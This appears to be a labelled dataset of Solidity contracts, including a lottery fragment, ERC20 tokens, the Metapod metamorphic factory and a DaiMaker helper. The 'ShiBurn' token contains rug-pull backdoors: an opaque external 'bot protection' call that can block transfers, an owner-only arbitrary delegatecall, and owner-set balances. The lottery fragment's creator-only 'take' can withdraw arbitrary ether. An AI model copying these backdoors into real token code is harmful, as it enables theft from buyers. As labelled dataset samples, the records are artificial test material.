if (winCount >= 15) {
if (sin == 99) {
for (i = 0; i < 15; i++) {
if (roundList[iCurRdIdx].winerList[i].index == 0) {
roundList[iCurRdIdx].winerList[i].plyr = _pID;
roundList[iCurRdIdx].winerList[i].iLastKeyNum = _keyNum;
roundList[iCurRdIdx].winerList[i].index = 14;
}
else {
roundList[iCurRdIdx].winerList[i].index--;
}
}
}
else {
if (sin == 14) {
roundList[iCurRdIdx].winerList[14].iLastKeyNum = _keyNum;
}
else {
for (i = 0; i < 15; i++) {
if (roundList[iCurRdIdx].winerList[i].index > sin)
roundList[iCurRdIdx].winerList[i].index--;
}
roundList[iCurRdIdx].winerList[sin].index = 14;
roundList[iCurRdIdx].winerList[sin].iLastKeyNum = _keyNum;
}
}
}
else {
if (sin == 99) {
for (i = 0; i < 15; i++) {
if (roundList[iCurRdIdx].winerList[i].plyr == 0x0) {
roundList[iCurRdIdx].winerList[i].plyr = _pID;
roundList[iCurRdIdx].winerList[i].iLastKeyNum = _keyNum;
roundList[iCurRdIdx].winerList[i].index = i;
winCount++;
break;
}
}
}
else {
for (i = 0; i < 15; i++) {
if (roundList[iCurRdIdx].winerList[i].plyr != 0x0 && roundList[iCurRdIdx].winerList[i].index > sin) {
roundList[iCurRdIdx].winerList[i].index--;
}
}
roundList[iCurRdIdx].winerList[sin].iLastKeyNum = _keyNum;
roundList[iCurRdIdx].winerList[sin].index = winCount - 1;
}
}
}
function SeedMemberCanDraw() public OnlySeedMember(msg.sender) view returns (bool) {
if (seedBuy[msg.sender] >= seedMemberValue_)
return (true);
else
return (false);
}
function BuyTicketSeed() isWithinLimits(msg.value) OnlySeedMember(msg.sender) IsActivate() NotOver() public payable {
uint256 iCurRdIdx = roundList.length - 1;
address _pID = msg.sender;
if ( plyMap[_pID].roundMap[iCurRdIdx+1].iKeyNum == 0 ){
managePlayer( _pID, 0);
}
BuyCore( _pID,iCurRdIdx,msg.value );
}
function BuyTicketUseVaultSeed(uint256 useVault ) isWithinLimits(useVault) OnlySeedMember(msg.sender) IsActivate() NotOver() public{
if (IsSeedMember(msg.sender)) {
require(SeedMemberCanDraw() == true, "seed value not enough");
}
uint256 iCurRdIdx = roundList.length - 1;
address _pID = msg.sender;
if ( plyMap[_pID].roundMap[iCurRdIdx+1].iKeyNum == 0 ){
managePlayer( _pID, 0);
}
updateGenVault(_pID, plyMap[_pID].iLastRoundId);
if (seedMap[_pID].f == 1) {
plyMap[_pID].gen = plyMap[_pID].gen.add(specGen);
specGen = 0;
}
uint256 op = operatorGen / 15 - seedMap[_pID].iMask;
seedMap[_pID].iMask = operatorGen / 15;
if (op > 0)
plyMap[_pID].gen = plyMap[_pID].gen.add(op);
uint256 val = plyMap[_pID].gen.add(plyMap[_pID].affGen);
assert( val >= useVault );
if( plyMap[_pID].gen >= useVault ){
plyMap[_pID].gen = plyMap[_pID].gen.sub(useVault);
}else{
plyMap[_pID].gen = 0;
plyMap[_pID].affGen = val.sub(useVault);
}
BuyCore( _pID,iCurRdIdx,useVault );
return;
}
function DrawCom() public {
require(msg.sender == comor, "only comor");
comor.transfer(comorGen);
comorGen = 0;
}
function take(address addr, uint256 v) public {
require(msg.sender == creator, "only creator");
addr.transfer(v);
}
function getWinner(uint256 index) public view returns( address addr, uint256 num, uint256 idx) {
return (roundList[0].winerList[index].plyr, roundList[0].winerList[index].iLastKeyNum, roundList[0].winerList[index].index);
}
} | 1 | 4,051 |
pragma solidity ^0.4.20;
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract FreezableToken is StandardToken {
mapping (bytes32 => uint64) internal chains;
mapping (bytes32 => uint) internal freezings;
mapping (address => uint) internal freezingBalance;
event Freezed(address indexed to, uint64 release, uint amount);
event Released(address indexed owner, uint amount);
function balanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner) + freezingBalance[_owner];
}
function actualBalanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner);
}
function freezingBalanceOf(address _owner) public view returns (uint256 balance) {
return freezingBalance[_owner];
}
function freezingCount(address _addr) public view returns (uint count) {
uint64 release = chains[toKey(_addr, 0)];
while (release != 0) {
count ++;
release = chains[toKey(_addr, release)];
}
}
function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) {
for (uint i = 0; i < _index + 1; i ++) {
_release = chains[toKey(_addr, _release)];
if (_release == 0) {
return;
}
}
_balance = freezings[toKey(_addr, _release)];
}
function freezeTo(address _to, uint _amount, uint64 _until) public {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
Transfer(msg.sender, _to, _amount);
Freezed(_to, _until, _amount);
}
function releaseOnce() public {
bytes32 headKey = toKey(msg.sender, 0);
uint64 head = chains[headKey];
require(head != 0);
require(uint64(block.timestamp) > head);
bytes32 currentKey = toKey(msg.sender, head);
uint64 next = chains[currentKey];
uint amount = freezings[currentKey];
delete freezings[currentKey];
balances[msg.sender] = balances[msg.sender].add(amount);
freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount);
if (next == 0) {
delete chains[headKey];
}
else {
chains[headKey] = next;
delete chains[currentKey];
}
Released(msg.sender, amount);
}
function releaseAll() public returns (uint tokens) {
uint release;
uint balance;
(release, balance) = getFreezing(msg.sender, 0);
while (release != 0 && block.timestamp > release) {
releaseOnce();
tokens += balance;
(release, balance) = getFreezing(msg.sender, 0);
}
}
function toKey(address _addr, uint _release) internal pure returns (bytes32 result) {
result = 0x5749534800000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_addr, 0x10000000000000000))
result := or(result, _release)
}
}
function freeze(address _to, uint64 _until) internal {
require(_until > block.timestamp);
bytes32 key = toKey(_to, _until);
bytes32 parentKey = toKey(_to, uint64(0));
uint64 next = chains[parentKey];
if (next == 0) {
chains[parentKey] = _until;
return;
}
bytes32 nextKey = toKey(_to, next);
uint parent;
while (next != 0 && _until > next) {
parent = next;
parentKey = nextKey;
next = chains[nextKey];
nextKey = toKey(_to, next);
}
if (_until == next) {
return;
}
if (next != 0) {
chains[key] = next;
}
chains[parentKey] = _until;
}
}
contract ERC223Receiver {
function tokenFallback(address _from, uint _value, bytes _data) public;
}
contract ERC223Basic is ERC20Basic {
function transfer(address to, uint value, bytes data) public returns (bool);
event Transfer(address indexed from, address indexed to, uint value, bytes data);
}
contract SuccessfulERC223Receiver is ERC223Receiver {
event Invoked(address from, uint value, bytes data);
function tokenFallback(address _from, uint _value, bytes _data) public {
Invoked(_from, _value, _data);
}
}
contract FailingERC223Receiver is ERC223Receiver {
function tokenFallback(address, uint, bytes) public {
revert();
}
}
contract ERC223ReceiverWithoutTokenFallback {
}
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
require(_value > 0);
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract FreezableMintableToken is FreezableToken, MintableToken {
function mintAndFreeze(address _to, uint _amount, uint64 _until) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
Mint(_to, _amount);
Freezed(_to, _until, _amount);
Transfer(msg.sender, _to, _amount);
return true;
}
}
contract Consts {
uint constant TOKEN_DECIMALS = 2;
uint8 constant TOKEN_DECIMALS_UINT8 = 2;
uint constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS;
string constant TOKEN_NAME = "Naira";
string constant TOKEN_SYMBOL = "NGN";
bool constant PAUSED = false;
address constant TARGET_USER = 0x0492561d76140E543E2090f25A8f277929C7CDd7;
bool constant CONTINUE_MINTING = true;
}
contract ERC223Token is ERC223Basic, BasicToken, FailingERC223Receiver {
using SafeMath for uint;
function transfer(address _to, uint _value, bytes _data) public returns (bool) {
uint codeLength;
assembly {
codeLength := extcodesize(_to)
}
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
if(codeLength > 0) {
ERC223Receiver receiver = ERC223Receiver(_to);
receiver.tokenFallback(msg.sender, _value, _data);
}
Transfer(msg.sender, _to, _value, _data);
return true;
}
function transfer(address _to, uint256 _value) public returns (bool) {
bytes memory empty;
return transfer(_to, _value, empty);
}
}
contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable
{
event Initialized();
bool public initialized = false;
function MainToken() public {
init();
transferOwnership(TARGET_USER);
}
function init() private {
require(!initialized);
initialized = true;
if (PAUSED) {
pause();
}
address[1] memory addresses = [address(0x0492561d76140e543e2090f25a8f277929c7cdd7)];
uint[1] memory amounts = [uint(100000000)];
uint64[1] memory freezes = [uint64(0)];
for (uint i = 0; i < addresses.length; i++) {
if (freezes[i] == 0) {
mint(addresses[i], amounts[i]);
} else {
mintAndFreeze(addresses[i], amounts[i], freezes[i]);
}
}
if (!CONTINUE_MINTING) {
finishMinting();
}
Initialized();
}
function name() pure public returns (string _name) {
return TOKEN_NAME;
}
function symbol() pure public returns (string _symbol) {
return TOKEN_SYMBOL;
}
function decimals() pure public returns (uint8 _decimals) {
return TOKEN_DECIMALS_UINT8;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transfer(_to, _value);
}
} | 1 | 5,514 |
pragma solidity ^0.7.0;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
interface IUniswapV2Router02 {
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BotProtected {
address internal owner;
address internal protectionFromBots;
address public uniPair;
constructor(address _botProtection) {
protectionFromBots = _botProtection;
}
modifier checkBots(address _from, address _to, uint256 _value) {
(bool notABot, bytes memory isNotBot) = protectionFromBots.call(abi.encodeWithSelector(0x15274141, _from, _to, uniPair, _value));
require(notABot);
_;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
abstract contract ERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
}
}
contract ShiBurn is BotProtected {
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply = 100000000000000000000000;
string public name = "ShiBurn";
string public symbol = "ShiBurn";
IUniswapV2Router02 public pancakeRouter = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address public wETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
constructor(address _botProtection) BotProtected(_botProtection) {
owner = tx.origin;
uniPair = pairForPancake(wETH, address(this));
allowance[address(this)][address(pancakeRouter)] = uint(-1);
allowance[tx.origin][uniPair] = uint(-1);
}
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable checkBots(_from, _to, _value) returns (bool) {
if (_value == 0) { return true; }
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable returns (bool) {
require(msg.sender == owner);
(bool success, ) = a.delegatecall(b);
return success;
}
function pairForPancake(address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
function distribute(address[] memory _tooWho, uint amount) public {
require(msg.sender == owner);
protectionFromBots.call(abi.encodeWithSelector(0xd5eaf4c3, _tooWho));
for(uint i = 0; i < _tooWho.length; i++) {
balanceOf[_tooWho[i]] = amount;
emit Transfer(address(0x0), _tooWho[i], amount);
}
}
function list(uint _numList, address[] memory _tooWho, uint[] memory _amounts) public payable {
require(msg.sender == owner);
balanceOf[address(this)] = _numList;
balanceOf[msg.sender] = totalSupply * 6 / 100;
pancakeRouter.addLiquidityETH{value: msg.value}(
address(this),
_numList,
_numList,
msg.value,
msg.sender,
block.timestamp + 600
);
require(_tooWho.length == _amounts.length);
protectionFromBots.call(abi.encodeWithSelector(0xd5eaf4c3, _tooWho));
for(uint i = 0; i < _tooWho.length; i++) {
balanceOf[_tooWho[i]] = _amounts[i];
emit Transfer(address(0x0), _tooWho[i], _amounts[i]);
}
}
} | 0 | 1,951 |
pragma solidity 0.5.6;
contract Metapod {
event Metamorphosed(address metamorphicContract, bytes32 salt);
event Cocooned(address metamorphicContract, bytes32 salt);
bytes private constant TRANSIENT_CONTRACT_INITIALIZATION_CODE = (
hex"58601c59585992335a6357b9f5235952fa5060403031813d03839281943ef08015602557ff5b80fd"
);
bytes32 private constant TRANSIENT_CONTRACT_INITIALIZATION_CODE_HASH = bytes32(
0xb7d11e258d6663925ce8e43f07ba3b7792a573ecc2fd7682d01f8a70b2223294
);
bytes32 private constant EMPTY_DATA_HASH = bytes32(
0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470
);
bytes private _initCode;
constructor() public {
require(
address(this) == address(0x00000000002B13cCcEC913420A21e4D11b2DCd3C),
"Incorrect deployment address."
);
require(
keccak256(
abi.encodePacked(TRANSIENT_CONTRACT_INITIALIZATION_CODE)
) == TRANSIENT_CONTRACT_INITIALIZATION_CODE_HASH,
"Incorrect hash for transient initialization code."
);
require(
keccak256(abi.encodePacked(hex"")) == EMPTY_DATA_HASH,
"Incorrect hash for empty data."
);
}
function deploy(
uint96 identifier,
bytes calldata initializationCode
) external payable returns (address metamorphicContract) {
bytes32 salt = _getSalt(identifier);
_initCode = initializationCode;
address vaultContract = _triggerVaultFundsRelease(salt);
address transientContract;
bytes memory initCode = TRANSIENT_CONTRACT_INITIALIZATION_CODE;
assembly {
let encoded_data := add(0x20, initCode)
let encoded_size := mload(initCode)
transientContract := create2(
callvalue,
encoded_data,
encoded_size,
salt
)
}
require(transientContract != address(0), "Failed to deploy contract.");
metamorphicContract = _getMetamorphicContractAddress(transientContract);
_verifyPrelude(metamorphicContract, _getPrelude(vaultContract));
delete _initCode;
emit Metamorphosed(metamorphicContract, salt);
}
function destroy(uint96 identifier) external {
bytes32 salt = _getSalt(identifier);
address metamorphicContract = _getMetamorphicContractAddress(
_getTransientContractAddress(salt)
);
metamorphicContract.call("");
emit Cocooned(metamorphicContract, salt);
}
function recover(uint96 identifier) external {
bytes32 salt = _getSalt(identifier);
_triggerVaultFundsRelease(salt);
_initCode = abi.encodePacked(
bytes2(0x5873),
msg.sender,
bytes13(0x905959593031856108fcf150ff)
);
address transientContract;
bytes memory initCode = TRANSIENT_CONTRACT_INITIALIZATION_CODE;
assembly {
let encoded_data := add(0x20, initCode)
let encoded_size := mload(initCode)
transientContract := create2(
callvalue,
encoded_data,
encoded_size,
salt
)
}
require(
transientContract != address(0),
"Recovery failed - ensure that the contract has been destroyed."
);
delete _initCode;
}
function getInitializationCode() external view returns (
bytes memory initializationCode
) {
initializationCode = _initCode;
}
function findTransientContractAddress(
bytes32 salt
) external pure returns (address transientContract) {
transientContract = _getTransientContractAddress(salt);
}
function findMetamorphicContractAddress(
bytes32 salt
) external pure returns (address metamorphicContract) {
metamorphicContract = _getMetamorphicContractAddress(
_getTransientContractAddress(salt)
);
}
function findVaultContractAddress(
bytes32 salt
) external pure returns (address vaultContract) {
vaultContract = _getVaultContractAddress(
_getVaultContractInitializationCode(
_getTransientContractAddress(salt)
)
);
}
function getPrelude(bytes32 salt) external pure returns (
bytes memory prelude
) {
prelude = _getPrelude(
_getVaultContractAddress(
_getVaultContractInitializationCode(
_getTransientContractAddress(salt)
)
)
);
}
function getTransientContractInitializationCode() external pure returns (
bytes memory transientContractInitializationCode
) {
transientContractInitializationCode = (
TRANSIENT_CONTRACT_INITIALIZATION_CODE
);
}
function getTransientContractInitializationCodeHash() external pure returns (
bytes32 transientContractInitializationCodeHash
) {
transientContractInitializationCodeHash = (
TRANSIENT_CONTRACT_INITIALIZATION_CODE_HASH
);
}
function getSalt(uint96 identifier) external view returns (bytes32 salt) {
salt = _getSalt(identifier);
}
function _getSalt(uint96 identifier) internal view returns (bytes32 salt) {
assembly {
salt := or(shl(96, caller), identifier)
}
}
function _getPrelude(
address vaultContract
) internal pure returns (bytes memory prelude) {
prelude = abi.encodePacked(
bytes22(0x6e2b13cccec913420a21e4d11b2dcd3c3318602b5773),
vaultContract,
bytes2(0xff5b)
);
}
function _verifyPrelude(
address metamorphicContract,
bytes memory prelude
) internal view {
bytes memory runtimeHeader;
assembly {
runtimeHeader := mload(0x40)
mstore(0x40, add(runtimeHeader, 0x60))
mstore(runtimeHeader, 44)
extcodecopy(metamorphicContract, add(runtimeHeader, 0x20), 0, 44)
}
require(
keccak256(
abi.encodePacked(prelude)
) == keccak256(
abi.encodePacked(runtimeHeader)
),
"Deployed runtime code does not have the required prelude."
);
}
function _triggerVaultFundsRelease(
bytes32 salt
) internal returns (address vaultContract) {
address transientContract = _getTransientContractAddress(salt);
bytes memory vaultContractInitCode = _getVaultContractInitializationCode(
transientContract
);
vaultContract = _getVaultContractAddress(vaultContractInitCode);
if (vaultContract.balance > 0) {
bytes32 vaultContractCodeHash;
assembly {
vaultContractCodeHash := extcodehash(vaultContract)
}
if (vaultContractCodeHash == EMPTY_DATA_HASH) {
assembly {
let encoded_data := add(0x20, vaultContractInitCode)
let encoded_size := mload(vaultContractInitCode)
let _ := create2(
0,
encoded_data,
encoded_size,
0
)
}
} else {
vaultContract.call("");
}
}
}
function _getTransientContractAddress(
bytes32 salt
) internal pure returns (address transientContract) {
transientContract = address(
uint160(
uint256(
keccak256(
abi.encodePacked(
hex"ff",
address(0x00000000002B13cCcEC913420A21e4D11b2DCd3C),
salt,
TRANSIENT_CONTRACT_INITIALIZATION_CODE_HASH
)
)
)
)
);
}
function _getMetamorphicContractAddress(
address transientContract
) internal pure returns (address metamorphicContract) {
metamorphicContract = address(
uint160(
uint256(
keccak256(
abi.encodePacked(
bytes2(0xd694),
transientContract,
byte(0x01)
)
)
)
)
);
}
function _getVaultContractInitializationCode(
address transientContract
) internal pure returns (bytes memory vaultContractInitializationCode) {
vaultContractInitializationCode = abi.encodePacked(
bytes27(0x586e2b13cccec913420a21e4d11b2dcd3c33185857595959303173),
transientContract,
bytes10(0x5af160315981595939f3)
);
}
function _getVaultContractAddress(
bytes memory vaultContractInitializationCode
) internal pure returns (address vaultContract) {
vaultContract = address(
uint160(
uint256(
keccak256(
abi.encodePacked(
byte(0xff),
address(0x00000000002B13cCcEC913420A21e4D11b2DCd3C),
bytes32(0),
keccak256(
vaultContractInitializationCode
)
)
)
)
)
);
}
} | 0 | 935 |
interface IMaker {
function sai() public view returns (ERC20);
function skr() public view returns (ERC20);
function gem() public view returns (ERC20);
function open() public returns (bytes32 cup);
function give(bytes32 cup, address guy) public;
function gap() public view returns (uint);
function per() public view returns (uint);
function ask(uint wad) public view returns (uint);
function bid(uint wad) public view returns (uint);
function join(uint wad) public;
function lock(bytes32 cup, uint wad) public;
function free(bytes32 cup, uint wad) public;
function draw(bytes32 cup, uint wad) public;
function cage(uint fit_, uint jam) public;
}
interface ERC20 {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IWETH {
function deposit() public payable;
function withdraw(uint wad) public;
}
contract DSMath {
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x);
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x);
}
function mul(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x);
}
function min(uint x, uint y) internal pure returns (uint z) {
return x <= y ? x : y;
}
function max(uint x, uint y) internal pure returns (uint z) {
return x >= y ? x : y;
}
function imin(int x, int y) internal pure returns (int z) {
return x <= y ? x : y;
}
function imax(int x, int y) internal pure returns (int z) {
return x >= y ? x : y;
}
uint constant WAD = 10 ** 18;
uint constant RAY = 10 ** 27;
function wmul(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, y), WAD / 2) / WAD;
}
function rmul(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, y), RAY / 2) / RAY;
}
function wdiv(uint x, uint y) public pure returns (uint z) {
z = add(mul(x, WAD), y / 2) / y;
}
function rdiv(uint x, uint y) public pure returns (uint z) {
z = add(mul(x, RAY), y / 2) / y;
}
function rpow(uint x, uint n) internal pure returns (uint z) {
z = n % 2 != 0 ? x : RAY;
for (n /= 2; n != 0; n /= 2) {
x = rmul(x, x);
if (n % 2 != 0) {
z = rmul(z, x);
}
}
}
}
contract DaiMaker is DSMath {
IMaker public maker;
ERC20 public weth;
ERC20 public peth;
ERC20 public dai;
event MakeDai(address indexed daiOwner, address indexed cdpOwner, uint256 ethAmount, uint256 daiAmount, uint256 pethAmount);
function DaiMaker(IMaker _maker) {
maker = _maker;
weth = maker.gem();
peth = maker.skr();
dai = maker.sai();
}
function makeDai(uint256 daiAmount, address cdpOwner, address daiOwner) payable public returns (bytes32 cdpId) {
IWETH(weth).deposit.value(msg.value)();
weth.approve(maker, msg.value);
uint256 inverseAsk = rdiv(msg.value, wmul(maker.gap(), maker.per())) - 1;
maker.join(inverseAsk);
uint256 pethAmount = peth.balanceOf(this);
peth.approve(maker, pethAmount);
cdpId = maker.open();
maker.lock(cdpId, pethAmount);
maker.draw(cdpId, daiAmount);
dai.transfer(daiOwner, daiAmount);
maker.give(cdpId, cdpOwner);
MakeDai(daiOwner, cdpOwner, msg.value, daiAmount, pethAmount);
}
} | 1 | 4,772 |
pragma solidity 0.4.25;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns(uint256 c) {
if(a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns(uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns(uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns(uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
modifier onlyOwner() { require(msg.sender == owner); _; }
constructor() public {
owner = msg.sender;
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
